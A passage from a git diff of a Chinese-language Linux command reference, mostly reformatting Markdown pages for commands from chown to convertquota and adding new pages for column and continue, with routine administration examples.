===
-
+
用来变更文件或目录的拥有者或所属群组
## 补充说明
**chown命令** 改变某个文件或目录的所有者和所属的组,该命令可以向某个用户授权,使该用户变成指定文件的所有者或者改变文件所属的组。用户可以是用户或者是用户D,用户组可以是组名或组id。文件名可以使由空格分开的文件列表,在文件名中可以包含通配符。
-只有文件主和超级用户才可以便用该命令。
+只有文件主和超级用户才可以使用该命令。
-### 语法
+### 语法
-```
+```shell
chown(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-c或——changes:效果类似“-v”参数,但仅回报更改的部分;
-f或--quite或——silent:不显示错误信息;
-h或--no-dereference:只对符号连接的文件作修改,而不更改其他任何相关文件;
@@ -29,18 +29,17 @@ chown(选项)(参数)
--version:显示版本信息。
```
-### 参数
+### 参数
用户:组:指定所有者和所属工作组。当省略“:组”,仅改变文件所有者;
文件:指定要改变所有者和工作组的文件列表。支持多个文件和目标,支持shell通配符。
-### 实例
+### 实例
将目录`/usr/meng`及其下面的所有文件、子目录的文件主改成 liu:
-```
+```shell
chown -R liu /usr/meng
```
-
\ No newline at end of file
diff --git a/command/chpasswd.md b/command/chpasswd.md
index 98f6b074e90..456c7d1b403 100644
--- a/command/chpasswd.md
+++ b/command/chpasswd.md
@@ -1,35 +1,34 @@
chpasswd
===
-
+
批量更新用户口令的工具
## 补充说明
**chpasswd命令** 是批量更新用户口令的工具,是把一个文件内容重新定向添加到`/etc/shadow`中。
-### 语法
+### 语法
-```
+```shell
chpasswd(选项)
```
-### 选项
+### 选项
-```
+```shell
-e:输入的密码是加密后的密文;
-h:显示帮助信息并退出;
-m:当被支持的密码未被加密时,使用MD5加密代替DES加密。
```
-### 实例
+### 实例
先创建用户密码对应文件,格式为`username:password`,如`abc:abc123`,必须以这种格式来书写,并且不能有空行,保存成文本文件user.txt,然后执行chpasswd命令:
-```
+```shell
chpasswd < user.txt
```
以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。
-
\ No newline at end of file
diff --git a/command/chroot.md b/command/chroot.md
index eb263a2e1b6..1c32d7b9fb6 100644
--- a/command/chroot.md
+++ b/command/chroot.md
@@ -1,6 +1,6 @@
chroot
===
-
+
把根目录换成指定的目的目录
## 补充说明
@@ -9,41 +9,41 @@ chroot
在经过 chroot 命令之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件,因此它带来的好处大致有以下3个:
- **增加了系统的安全性,限制了用户的权力:**
+**增加了系统的安全性,限制了用户的权力:**
在经过 chroot 之后,在新根下将访问不到旧系统的根目录结构和文件,这样就增强了系统的安全性。这个一般是在登录 (login) 前使用 chroot,以此达到用户不能访问一些特定的文件。
- **建立一个与原系统隔离的系统目录结构,方便用户的开发:**
+**建立一个与原系统隔离的系统目录结构,方便用户的开发:**
使用 chroot 后,系统读取的是新根下的目录和文件,这是一个与原系统根下文件不相关的目录结构。在这个新的环境中,可以用来测试软件的静态编译以及一些与系统不相关的独立开发。
- **切换系统的根目录位置,引导 Linux 系统启动以及急救系统等:**
+**切换系统的根目录位置,引导 Linux 系统启动以及急救系统等:**
chroot 的作用就是切换系统的根位置,而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用,从初始 RAM 磁盘 (initrd) 切换系统的根位置并执行真正的 init。另外,当系统出现一些问题时,我们也可以使用 chroot 来切换到一个临时的系统。
-### 语法
+### 语法
-```
+```shell
chroot(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--help:在线帮助;
--version:显示版本信息。
```
-### 参数
+### 参数
* 目录:指定新的根目录;
* 指令:指定要执行的指令。
-### 实例
+### 实例
- **将target作为根目录(运行其中的`/bin/sh`):**
+**将target作为根目录(运行其中的`/bin/sh`):**
-```
+```shell
chroot target /bin/sh
```
@@ -56,7 +56,7 @@ chroot target /bin/sh
将target作为根目录(运行其中的`/bin/ls`):
-```
+```shell
chroot target /bin/ls
```
@@ -68,13 +68,13 @@ chroot target /bin/ls
准备chroot的根目录:
-```
+```shell
mkdir newRoot
```
编译自己的程序:
-```
+```shell
gcc main.c
```
@@ -82,13 +82,13 @@ gcc main.c
查看程序需要的库:
-```
+```shell
ldd a.out
```
输入之后,输出如下:
-```
+```shell
linux-gate.so.1 = > (0xb8034000)
libc.so.6 = > /lib/tls/i686/cmov/libc.so.6 (0xb7eab000)
/lib/ld-linux.so.2 (0xb801a000)
@@ -96,7 +96,7 @@ libc.so.6 = > /lib/tls/i686/cmov/libc.so.6 (0xb7eab000)
将程序需要的库和程序拷贝到新根目录下:
-```
+```shell
cp a.out newRoot
mkdir newRoot/lib
cp /lib/tls/i686/cmov/libc.so.6 newRoot/lib
@@ -105,13 +105,13 @@ cp /lib/ld-linux.so.2 newRoot/lib
这里newRoot内容将如下:
-```
+```shell
a.out lib/
```
使用chroot运行自己的程序:
-```
+```shell
su
chroot newRoot /a.out
```
@@ -119,4 +119,3 @@ chroot newRoot /a.out
这样就能够正确运行a.out了,因为a.out使用到了其他的动态连接库,所以需要将库拷贝到newRoot中,如果没有其他库那么直接拷贝a.out就能运行。例如静态编译后的busybox,其安装目录中的`/bin/busybox`就没有依赖其他库。
-
\ No newline at end of file
diff --git a/command/chsh.md b/command/chsh.md
index 254494fb318..72fb7e45357 100644
--- a/command/chsh.md
+++ b/command/chsh.md
@@ -1,38 +1,38 @@
chsh
===
-
+
用来更换登录系统时使用的shell
## 补充说明
**chsh命令** 用来更换登录系统时使用的shell。若不指定任何参数与用户名称,则chsh会以应答的方式进行设置。
-### 语法
+### 语法
-```
+```shell
chsh(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-s或--shell:更改系统预设的shell环境。;
-l或--list-shells:列出目前系统可用的shell清单;
-u或--help:在线帮助;
-v或-version:显示版本信息。
```
-### 参数
+### 参数
用户名:要改变默认shell的用户。
-### 实例
+### 实例
**查看系统安装了哪些shell的两种方法:**
第一种:
-```
+```shell
[rocrocket@localhost ~]$ chsh -l
/bin/sh
/bin/bash
@@ -42,7 +42,7 @@ chsh(选项)(参数)
第二种:
-```
+```shell
[rocrocket@localhost ~]$ cat /etc/shells
/bin/sh
/bin/bash
@@ -54,7 +54,7 @@ chsh(选项)(参数)
**查看当前正在使用的shell:**
-```
+```shell
[rocrocket@localhost ~]$ echo $SHELL
/bin/bash
```
@@ -63,7 +63,7 @@ chsh(选项)(参数)
**把我的shell改成zsh:**
-```
+```shell
[rocrocket@localhost ~]$ chsh -s /bin/zsh
Changing shell for rocrocket.
Password:
@@ -73,7 +73,7 @@ Shell changed.
使用chsh加选项`-s`就可以修改登录的shell了!你会发现你现在执行`echo $SHELL`后仍然输出为`/bin/bash`,这是因为你需要重启你的shell才完全投入到zsh怀抱中去。`chsh -s`其实修改的就是`/etc/passwd`文件里和你的用户名相对应的那一行。现在来查看下:
-```
+```shell
[rocrocket@localhost ~]$ cat /etc/passwd|grep ^rocrocket
rocrocket:x:500:500:rocrocket,China:/rocrocket/PSB/home:/bin/zsh
```
@@ -82,7 +82,7 @@ rocrocket:x:500:500:rocrocket,China:/rocrocket/PSB/home:/bin/zsh
**把shell修改回/bin/bash:**
-```
+```shell
[rocrocket@localhost ~]$ chsh -s /bin/bash
Changing shell for rocrocket.
Password:
@@ -90,4 +90,3 @@ Shell changed.
```
-
\ No newline at end of file
diff --git a/command/cksum.md b/command/cksum.md
index 7e130486e86..d3fb5b595d3 100644
--- a/command/cksum.md
+++ b/command/cksum.md
@@ -1,6 +1,6 @@
cksum
===
-
+
检查文件的CRC是否正确
## 补充说明
@@ -11,34 +11,34 @@ cksum
指定文件交由cksum命令进行校验后,会返回校验结果供用户核对文件是否正确无误。若不指定任何文件名称或是所给予的文件名为"-",则cksum命令会从标准输入设备中读取数据。
-### 语法
+### 语法
-```
+```shell
cksum(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--help:在线帮助;
--version:显示版本信息。
```
-### 参数
+### 参数
文件:指定要计算校验的版本信息。
-### 实例
+### 实例
使用cksum命令计算文件"testfile1"的完整性,输入如下命令:
-```
+```shell
cksum testfile1 #对指定文件进行CRC校验
```
以上命令执行后,将输出校验码等相关的信息,具体输出信息如下所示:
-```
+```shell
1263453430 78 testfile1 #输出信息
```
@@ -47,4 +47,3 @@ cksum testfile1 #对指定文件进行CRC校验
注意:如果文件中有任何字符被修改,都将改变计算后CRC校验码的值。
-
\ No newline at end of file
diff --git a/command/clear.md b/command/clear.md
index 0887dfe90bd..92ee484291e 100644
--- a/command/clear.md
+++ b/command/clear.md
@@ -1,21 +1,20 @@
clear
===
-
+
清除当前屏幕终端上的任何信息
## 补充说明
**clear命令** 用于清除当前屏幕终端上的任何信息。
-### 语法
+### 语法
-```
+```shell
clear
```
-### 实例
+### 实例
直接输入clear命令当前终端上的任何信息就可被清除。
-
\ No newline at end of file
diff --git a/command/clock.md b/command/clock.md
index 17cc3436def..81cf3329cf3 100644
--- a/command/clock.md
+++ b/command/clock.md
@@ -1,22 +1,22 @@
clock
===
-用于调整 RTC 时间。
+用于调整 RTC 时间
## 补充说明
**clock命令**用于调整 RTC 时间。 RTC 是电脑内建的硬件时间,执行这项指令可以显示现在时刻,调整硬件时钟的时间,将系统时间设成与硬件时钟之时间一致,或是把系统时间回存到硬件时钟。
-### 语法
+### 语法
-```
+```shell
clock [--adjust][--debug][--directisa][--getepoch][--hctosys][--set --date="<日期时间>"]
[--setepoch --epoch=< >][--show][--systohc][--test][--utc][--version]
```
-### 选项
+### 选项
-```
+```shell
--adjust 第一次使用"--set"或"--systohc"参数设置硬件时钟,会在/etc目录下产生一个名称为adjtime的文件。当再次使用这两个参数调整硬件时钟,此文件便会记录两次调整间之差异,日后执行clock指令加上"--adjust"参数时,程序会自动根 据记录文件的数值差异,计算出平均值,自动调整硬件时钟的时间。
--debug 详细显示指令执行过程,便于排错或了解程序执行的情形。
--directisa 告诉clock指令不要通过/dev/rtc设备文件,直接对硬件时钟进行存取。这个参数适用于仅有ISA总线结构的老式电脑。
@@ -35,15 +35,15 @@ clock [--adjust][--debug][--directisa][--getepoch][--hctosys][--set --date="<日
获取当前的时间
-```bash
+```shell
clock # 获取当前的时间
```
显示UTC时间
-```bash
+```shell
clock -utc #显示UTC时间
```
-
+
diff --git a/command/clockdiff.md b/command/clockdiff.md
index e01f16dae0b..1b5f017dce7 100644
--- a/command/clockdiff.md
+++ b/command/clockdiff.md
@@ -1,22 +1,22 @@
clockdiff
===
-
+
检测两台linux主机的时间差
## 补充说明
在ip报文的首部和ICMP报文的首部都可以放入时间戳数据。 **clockdiff** 程序正是使用时间戳来测算目的主机和本地主机的系统时间差。
-### 选项
+### 选项
-```
+```shell
-o:使用IP时间戳选项来测量系统时间差。时间戳只用3个。
-o1:使用IP时间戳选项来测量系统时间差。用4个时间戳。如果-o和-o1都没有设置,那么就是用ICMP时间戳来测试系统时间差。
```
-### 实例
+### 实例
-```
+```shell
lixi@lixi-desktop:~$ ping -T tsandaddr www.ustc.edu.cn -c 1
PING www.ustc.edu.cn (202.38.64.9) 56(124) bytes of data.
64 bytes from 202.38.64.9: icmp_seq=1 ttl=62 time=0.823 ms
@@ -33,13 +33,13 @@ rtt min/avg/max/mdev = 0.823/0.823/0.823/0.000 ms
首先由上面的得出在RRT不大的时候,几个ICMP时间戳的关系。本地主机和202.38.64.9之间的时间差约为:-857514+248-251=-857517。分别用-o(IP选项中时间戳)和不带选项(ICMP路由时间戳)上述路由的系统时间进行测试。得到的结果:
-```
+```shell
lixi@lixi-desktop:~# ./clockdiff -o 202.38.64.9
..................................................
host=202.38.64.9 rtt=1(0)ms/1ms delta=-857517ms/-857517ms Wed Dec 17 11:28:30 2008
```
-```
+```shell
lixi@lixi-desktop:~# ./clockdiff 202.38.64.9
.
host=202.38.64.9 rtt=750(187)ms/0ms delta=-857517ms/-857517ms Wed Dec 17 11:28:35 2008
@@ -47,7 +47,7 @@ host=202.38.64.9 rtt=750(187)ms/0ms delta=-857517ms/-857517ms Wed Dec 17 11:28:3
两种方法测试的都比较准确。
-```
+```shell
lixi@lixi-desktop:~#./clockdiff gigagate1.Princeton.EDU
..................................................
host=gigagate1.Princeton.EDU rtt=307(21)ms/271ms delta=-5ms/-5ms Wed Dec 17 11:50:16 2008
@@ -56,4 +56,3 @@ host=gigagate1.Princeton.EDU rtt=307(21)ms/271ms delta=-5ms/-5ms Wed Dec 17 11:5
上面是测试一个RTT较大的目的主机和本地主机的系统时间差。不过在使用clockdiff的时候,需要一点运气,因为很多路由会忽略ICMP或IP时间戳。
-
\ No newline at end of file
diff --git a/command/cmp.md b/command/cmp.md
index d9e6c1a9e50..b3012c5ee13 100644
--- a/command/cmp.md
+++ b/command/cmp.md
@@ -1,21 +1,21 @@
cmp
===
-
+
比较两个文件是否有差异
## 补充说明
**cmp命令** 用来比较两个文件是否有差异。当相互比较的两个文件完全一样时,则该指令不会显示任何信息。若发现有差异,预设会标示出第一个不通之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为“-”,则cmp指令会从标准输入设备读取数据。
-### 语法
+### 语法
-```
+```shell
cmp(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-c或--print-chars:除了标明差异处的十进制字码之外,一并显示该字符所对应字符;
-i<字符数目>或--ignore-initial=<字符数目>:指定一个数目;
-l或——verbose:标示出所有不一样的地方;
@@ -24,21 +24,21 @@ cmp(选项)(参数)
--help:在线帮助。
```
-### 参数
+### 参数
目录:比较两个文件的差异。
-### 实例
+### 实例
使用cmp命令比较文件"testfile"和文件"testfile1"两个文件,则输入下面的命令:
-```
+```shell
cmp testfile testfile1 #比较两个指定的文件
```
在上述指令执行之前,使用cat命令查看两个指定的文件内容,如下所示:
-```
+```shell
cat testfile #查看文件内容
Absncn 50 #显示文件“testfile”
Asldssja 60
@@ -52,7 +52,7 @@ Jslkadjls 85
然后,再执行cmp命令,并返回比较结果,具体如下所示:
-```
+```shell
cmp testfile testfile1 #比较两个文件
testfile testfile1 #有差异:第8字节,第2行
```
@@ -60,4 +60,3 @@ testfile testfile1 #有差异:第8字节,第2行
注意:在比较结果中,只能够显示第一比较结果。
-
\ No newline at end of file
diff --git a/command/col.md b/command/col.md
index 317d0b1c937..f6c53474823 100644
--- a/command/col.md
+++ b/command/col.md
@@ -1,21 +1,21 @@
col
===
-
+
过滤控制字符
## 补充说明
**col命令** 是一个标准输入文本过滤器,它从标注输入设备读取文本内容,并把内容显示到标注输出设备。在许多UNIX说明文件里,都有RLF控制字符。当我们运用shell特殊字符`>`和`>>`,把说明文件的内容输出成纯文本文件时,控制字符会变成乱码,col命令则能有效滤除这些控制字符。
-### 语法
+### 语法
-```
+```shell
col(选项)
```
-### 选项
+### 选项
-```
+```shell
-b:过滤掉所有的控制字符,包括RLF和HRLF;
-f:滤掉RLF字符,但允许将HRLF字符呈现出来;
-x:以多个空格字符来表示跳格字符;
@@ -23,4 +23,3 @@ col(选项)
```
-
\ No newline at end of file
diff --git a/command/colrm.md b/command/colrm.md
index 5db362582ea..c168f632d4c 100644
--- a/command/colrm.md
+++ b/command/colrm.md
@@ -1,22 +1,21 @@
colrm
===
-
+
删除文件中的指定列
## 补充说明
**colrm命令** 用于删除文件中的指定列。colrm命令从标准输入设备读取书记,转而输出到标准输出设备。如果不加任何参数,则colrm命令不会过滤任何一行。
-### 语法
+### 语法
-```
+```shell
colrm(参数)
```
-### 参数
+### 参数
* 起始列号:指定要删除的指定列;
* 结尾列号:指定要删除的结尾列。
-
\ No newline at end of file
diff --git a/command/column.md b/command/column.md
new file mode 100644
index 00000000000..c93c184692b
--- /dev/null
+++ b/command/column.md
@@ -0,0 +1,176 @@
+column
+===
+
+按列格式化输出文件
+
+## 概要
+
+```shell
+column [options] [file ...]
+```
+
+## 主要用途
+
+- 将单列数据整理为多列显示,每行宽度可以指定,超出的部分自动换行。
+- 将多列数据进行快速整理,对齐每列的字符。
+
+## 参数
+
+file(可选),当没有指定文件时,默认会从标准输入读取,因此可以配合管道符使用。
+
+## 选项
+
+```shell
+-c, --columns 输出宽度(以字符数表示)
+-t, --table 创建一个表格(每列字符会对齐)
+-s, --separator 指定识别表格的分隔符
+-o, --output-separator 输出表格的列分隔符,默认为两个空格
+-x, --fillrows 在列之前填充行
+-N, --table-columns 添加列名(逗号分隔)
+-J --json 格式化为JSON输出(需要配合-N/--table-columns使用)
+-h, --help 显示此帮助
+-V, --version 输出版本信息
+```
+
+## 返回值
+
+格式化排列后的字符串。
+
+## 示例
+
+- 整理单列数据
+
+```shell
+# 生成 26 个英文字母, 每列一个
+$ for a in {a..z}; do echo $a; done > test
+
+# 每行最大 60 个字符
+$ cat test | column -c 60
+a e i m q u y
+b f j n r v z
+c g k o s w
+d h l p t x
+
+# 在上面的基础上,进一步整理,每列之间宽度默认两个空白符
+$ cat test | column -c 60 | column -t
+a e i m q u y
+b f j n r v z
+c g k o s w
+d h l p t x
+
+# 指定每列之间用 ', ' 拼接
+$ cat test | column -c 60 | column -t -o ', '
+a, e, i, m, q, u, y
+b, f, j, n, r, v, z
+c, g, k, o, s, w
+d, h, l, p, t, x
+```
+
+- 整理多列数据
+
+```shell
+# 现有如下内容较为凌乱的文本文件 test
+$ cat test
+Address[0] Metal3,pin 133.175:159.92
+Address[1] Metal3,pin 112.38:159.92
+Address[2] Metal3,pin 70.775:159.92
+Address[3] Metal3,pin 41.655:159.92
+DataIn[0] Metal3,pin 66.615:159.92
+DataIn[1] Metal3,pin 37.495:159.92
+DataIn[2] Metal3,pin 122.88:159.92
+DataIn[3] Metal3,pin 95.74:159.92
+DataOut[0] Metal3,pin 45.815:159.92
+DataOut[1] Metal3,pin 79.095:159.92
+DataOut[2] Metal3,pin 104.055:159.92
+DataOut[3] Metal3,pin 62.46:159.92
+MemReq Metal3,pin 108.215:159.92
+RdWrBar Metal3,pin 87.415:159.92
+clock Metal3,pin 74.935:159.92
+
+# 列对齐
+$ cat test | column -t
+Address[0] Metal3,pin 133.175:159.92
+Address[1] Metal3,pin 112.38:159.92
+Address[2] Metal3,pin 70.775:159.92
+Address[3] Metal3,pin 41.655:159.92
+DataIn[0] Metal3,pin 66.615:159.92
+DataIn[1] Metal3,pin 37.495:159.92
+DataIn[2] Metal3,pin 122.88:159.92
+DataIn[3] Metal3,pin 95.74:159.92
+DataOut[0] Metal3,pin 45.815:159.92
+DataOut[1] Metal3,pin 79.095:159.92
+DataOut[2] Metal3,pin 104.055:159.92
+DataOut[3] Metal3,pin 62.46:159.92
+MemReq Metal3,pin 108.215:159.92
+RdWrBar Metal3,pin 87.415:159.92
+clock Metal3,pin 74.935:159.92
+
+# 将 ',' 和 ':' 也识别为分隔符
+$ cat test | column -t -s ',: '
+Address[0] Metal3 pin 133.175 159.92
+Address[1] Metal3 pin 112.38 159.92
+Address[2] Metal3 pin 70.775 159.92
+Address[3] Metal3 pin 41.655 159.92
+DataIn[0] Metal3 pin 66.615 159.92
+DataIn[1] Metal3 pin 37.495 159.92
+DataIn[2] Metal3 pin 122.88 159.92
+DataIn[3] Metal3 pin 95.74 159.92
+DataOut[0] Metal3 pin 45.815 159.92
+DataOut[1] Metal3 pin 79.095 159.92
+DataOut[2] Metal3 pin 104.055 159.92
+DataOut[3] Metal3 pin 62.46 159.92
+MemReq Metal3 pin 108.215 159.92
+RdWrBar Metal3 pin 87.415 159.92
+clock Metal3 pin 74.935 159.92
+```
+
+- 添加列名并以JSON格式输出
+
+```shell
+$ column -J -s ":" -N "Username,Password,UID,GID,Gecos,HomeDirectory,Shell" /etc/passwd
+{
+ "table": [
+ {
+ "username": "root",
+ "password": "x",
+ "uid": "0",
+ "gid": "0",
+ "gecos": "root",
+ "homedirectory": "/root",
+ "shell": "/bin/bash"
+ },{
+ "username": "daemon",
+ "password": "x",
+ "uid": "1",
+ "gid": "1",
+ "gecos": "daemon",
+ "homedirectory": "/usr/sbin",
+ "shell": "/usr/sbin/nologin"
+ },{
+ "username": "bin",
+ "password": "x",
+ "uid": "2",
+ "gid": "2",
+ "gecos": "bin",
+ "homedirectory": "/bin",
+ "shell": "/usr/sbin/nologin"
+ },{
+ "username": "sys",
+ "password": "x",
+ "uid": "3",
+ "gid": "3",
+ "gecos": "sys",
+ "homedirectory": "/dev",
+ "shell": "/usr/sbin/nologin"
+ },{
+ "username": "sync",
+ "password": "x",
+ "uid": "4",
+ "gid": "65534",
+ "gecos": "sync",
+ "homedirectory": "/bin",
+ "shell": "/bin/sync"
+ }
+ ]
+}
+```
diff --git a/command/comm.md b/command/comm.md
index 05771410efd..1e6a4e710b3 100644
--- a/command/comm.md
+++ b/command/comm.md
@@ -1,49 +1,46 @@
comm
===
-两个文件之间的比较
+按行比较两个已排序的文件。
-## 补充说明
+## 概要
-**comm命令** 可以用于两个文件之间的比较,它有一些选项可以用来调整输出,以便执行交集、求差、以及差集操作。
+```shell
+comm [OPTION]... FILE1 FILE2
+```
-* 交集:打印出两个文件所共有的行。
-* 求差:打印出指定文件所包含的且不相同的行。
-* 差集:打印出包含在一个文件中,但不包含在其他指定文件中的行。
+## 主要用途
-### 语法
+- 按行比较两个已排序的文件。
+- 当`FILE1`或`FILE2`为`-`时,读取标准输入。
+- 无选项时输出三列,第一列为`FILE1`独有的行,第二列为`FILE2`独有的行,第三列为`FILE1`,`FILE2`共有的行。
-```bash
-comm [选项]... 文件1 文件2
-```
-### 选项
+## 选项
+```shell
+-1 不输出第一列。
+-2 不输出第二列。
+-3 不输出第三列。
+--check-order 检查输入行是否正确的排序,即使它们确实是已排序过的。
+--nocheck-order 不检查输入行是否正确的排序。
+--output-delimiter=STR 使用STR作为输出列之间的分隔符而不是默认的TAB。
+--total 额外地增加第四列输出概要。
+-z, --zero-terminated 设置行终止符为NUL(空),而不是换行符。
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
```
-如果不附带选项,程序会生成三列输出。
-第一列包含文件1 特有的行,
-第二列包含文件2 特有的行,
-而第三列包含两个文件共有的行。
-
- -1 不输出文件1 特有的行
- -2 不输出文件2 特有的行
- -3 不输出两个文件共有的行
-
---check-order 检查输入是否被正确排序,即使所有输入行均成对
---nocheck-order 不检查输入是否被正确排序
---output-delimiter=STR 依照STR 分列
-```
-### 参数
-* 文件1:指定要比较的第一个**有序**文件;
-* 文件2:指定要比较的第二个**有序**文件。
+## 返回值
+
+返回0表示成功,返回非0值表示失败。
-### 实例
+## 例子
文本 `aaa.txt` 内容
-```
+```shell
[root@localhost text]# cat aaa.txt
aaa
bbb
@@ -56,7 +53,7 @@ eee
文本 `bbb.txt` 内容
-```
+```shell
[root@localhost text]# cat bbb.txt
bbb
ccc
@@ -66,16 +63,10 @@ ttt
jjj
```
-两个文件之间的比较,如果没有排序需要带上`--nocheck-order`参数, 没有带上参数将会收到提示,此命令重要之功能在于比较。
-
-```bash
-comm: 文件2 没有被正确排序
-comm: 文件1 没有被正确排序
-```
比较结果
-```
+```shell
[root@localhost text]# comm --nocheck-order aaa.txt bbb.txt
aaa
bbb
@@ -88,23 +79,22 @@ eee
hhh
ttt
jjj
-第一列 第二列 第三列
```
-输出的第一列只包含在aaa.txt中出现的行,第二列包含在bbb.txt中出现的行,第三列包含在aaa.txt和bbb.txt中相同的行。各列是以制表符(\t)作为定界符。
+输出的第一列只包含在aaa.txt中出现的行,第二列包含在bbb.txt中出现的行,第三列包含在aaa.txt和bbb.txt中相同的行。各列之间以制表符(\t)作为分隔符。
-### 有序比较
+### 比较排序过的文档
-有序比较,先通过 sort 将文件内容排序
+先通过 sort 将文件内容排序:
-```
+```shell
[root@localhost ~]# sort aaa.txt > aaa1.txt
[root@localhost ~]# sort bbb.txt > bbb1.txt
```
-有序比较结果:
+比较结果:
-```
+```shell
[root@localhost ~]# comm aaa1.txt bbb1.txt
111
222
@@ -122,38 +112,19 @@ eee
打印两个文件的交集,需要删除第一列和第二列:
-```
+```shell
[root@localhost text]# comm aaa.txt bbb.txt -1 -2
bbb
ccc
```
-**求差**
-
-打印出两个文件中不相同的行,需要删除第三列:
-
-```
-[root@localhost text]# comm aaa.txt bbb.txt -3 | sed 's/^\t//'
-aaa
-aaa
-ddd
-eee
-111
-222
-hhh
-ttt
-jjj
-```
-
-`sed 's/^\t//'` 是将制表符`\t`删除,以便把两列合并成一列。
-
### 差集
通过删除不需要的列,可以得到aaa.txt和bbb.txt的差集:
aaa.txt的差集
-```
+```shell
[root@localhost text]# comm aaa.txt bbb.txt -2 -3
aaa
ddd
@@ -164,7 +135,7 @@ eee
bbb.txt的差集
-```
+```shell
[root@localhost text]# comm aaa.txt bbb.txt -1 -3
aaa
hhh
@@ -173,4 +144,8 @@ jjj
```
-
\ No newline at end of file
+### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 comm`,`info coreutils 'comm invocation'`。
+
+
diff --git a/command/command.md b/command/command.md
index a5fd9094510..0c605fe4472 100644
--- a/command/command.md
+++ b/command/command.md
@@ -1,35 +1,34 @@
command
===
-
+
调用并执行指定的命令
## 补充说明
**command命令** 调用指定的指令并执行,命令执行时不查询shell函数。command命令只能够执行shell内部的命令。
-### 语法
+### 语法
-```
+```shell
command(参数)
```
-### 参数
+### 参数
指令:需要调用的指令及参数。
-### 实例
+### 实例
使用command命令调用执行`echo Linux`,输入如下命令:
-```
+```shell
command echo Linux #调用执行shell内部指令
```
上面的命令执行后,将调用执行命令`echo Linux`,其执行结果如下:
-```
+```shell
Linux
```
-
\ No newline at end of file
diff --git a/command/compress.md b/command/compress.md
index 25135f06d5a..47071126c0d 100644
--- a/command/compress.md
+++ b/command/compress.md
@@ -1,21 +1,21 @@
compress
===
-
+
使用Lempress-Ziv编码压缩数据文件
## 补充说明
**compress命令** 使用“Lempress-Ziv”编码压缩数据文件。compress是个历史悠久的压缩程序,文件经它压缩后,其名称后面会多出".Z"的扩展名。当要解压缩时,可执行uncompress指令。事实上uncompress是指向compress的符号连接,因此不论是压缩或解压缩,都可通过compress指令单独完成。
-### 语法
+### 语法
-```
+```shell
compress(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f:不提示用户,强制覆盖掉目标文件;
-c:将结果送到标准输出,无文件被改变;
-r:递归的操作方式;
@@ -25,39 +25,39 @@ compress(选项)(参数)
-V:显示指令版本及程序预设值。
```
-### 参数
+### 参数
文件:指定要压缩的文件列表。
-### 实例
+### 实例
将`/etc/man.config`复到`/tmp` ,并加以压缩
-```
+```shell
[root@localhost ~]# cd /tmp
[root@localhost tmp]# cp /etc/man.config .
[root@localhost tmp]# compress man.config
[root@localhost tmp]# ls -l
```
-```
+```shell
-rw-r--r-- 1 root root 2605 Jul 27 11:43 man.config.Z
```
将刚刚的压缩档解开
-```
+```shell
[root@localhost tmp]# compress -d man.config.Z
```
将 man.config 压缩成另外一个文件来备份
-```
+```shell
[root@localhost tmp]# compress -c man.config > man.config.back.Z
[root@localhost tmp]# ll man.config*
```
-```
+```shell
-rw-r--r-- 1 root root 4506 Jul 27 11:43 man.config
-rw-r--r-- 1 root root 2605 Jul 27 11:46 man.config.back.Z
```
@@ -65,4 +65,3 @@ compress(选项)(参数)
这个`-c`的选项比较有趣!会将压缩过程的资料输出到屏幕上,而不是写入成为file.Z文件。所以,我们可以透过资料流重导向的方法将资料输出成为另一个档名。
-
\ No newline at end of file
diff --git a/command/consoletype.md b/command/consoletype.md
index ad4210051b7..bc65e86487b 100644
--- a/command/consoletype.md
+++ b/command/consoletype.md
@@ -1,24 +1,23 @@
consoletype
===
-
+
输出已连接的终端类型
## 补充说明
**consoletype命令** 用于打印已连接的终端类型到标准输出,并能够检查已连接的终端是当前终端还是虚拟终端。
-### 语法
+### 语法
-```
+```shell
consoletype
```
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# consoletype
pty
```
-
\ No newline at end of file
diff --git a/command/continue.md b/command/continue.md
new file mode 100644
index 00000000000..09752eea9fe
--- /dev/null
+++ b/command/continue.md
@@ -0,0 +1,70 @@
+continue
+===
+
+结束本次循环,继续执行下一个for,while或until循环。
+
+## 概要
+
+```shell
+continue [n]
+```
+
+## 主要用途
+
+- 结束本次循环,继续执行下一个for,while或until循环;可指定从第几层循环继续执行。
+
+
+## 参数
+
+n(可选):大于等于1的整数,用于指定从第几层循环继续执行。
+
+## 返回值
+
+返回状态为成功除非n小于1。
+
+## 例子
+
+```shell
+# continue的可选参数n缺省值为1。
+for((i=3;i>0;i--)); do
+ # 跳到内层for循环继续执行。
+ for((j=3;j>0;j--)); do
+ if((j==2)); then
+ # 换成continue 1时结果一样
+ continue
+ fi
+ printf "%s %s\n" ${i} ${j}
+ done
+done
+# 输出结果
+3 3
+3 1
+2 3
+2 1
+1 3
+1 1
+```
+
+```shell
+# 当n为2时:
+# 跳到外层for循环继续执行。
+for((i=3;i>0;i--)); do
+ for((j=3;j>0;j--)); do
+ if((j==2)); then
+ continue 2
+ fi
+ printf "%s %s\n" ${i} ${j}
+ done
+done
+# 输出结果
+3 3
+2 3
+1 3
+```
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+
+
diff --git a/command/convertquota.md b/command/convertquota.md
index 0431146f8d3..7671849228a 100644
--- a/command/convertquota.md
+++ b/command/convertquota.md
@@ -1,38 +1,37 @@
convertquota
===
-
+
把老的配额文件转换为新的格式
## 补充说明
**convertquota命令** 用于将老的磁盘额数据文件(“quota.user”和“quota.group”)转换为新格式的文件(“quota.user”和“quota.group”)。
-### 语法
+### 语法
-```
+```shell
convertquota(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-u:仅转换用户磁盘配额数据文件;
-g:仅转换组磁盘配额数据文件;
-f:将老的磁盘配额文件转换为新的格式;
-e:将新的文件格式从大字节序换为小字节序。
```
-### 参数
+### 参数
文件系统:指定要转换磁盘配额数据文件格式的文件系统(硬盘分区)。
-### 实例
+### 实例
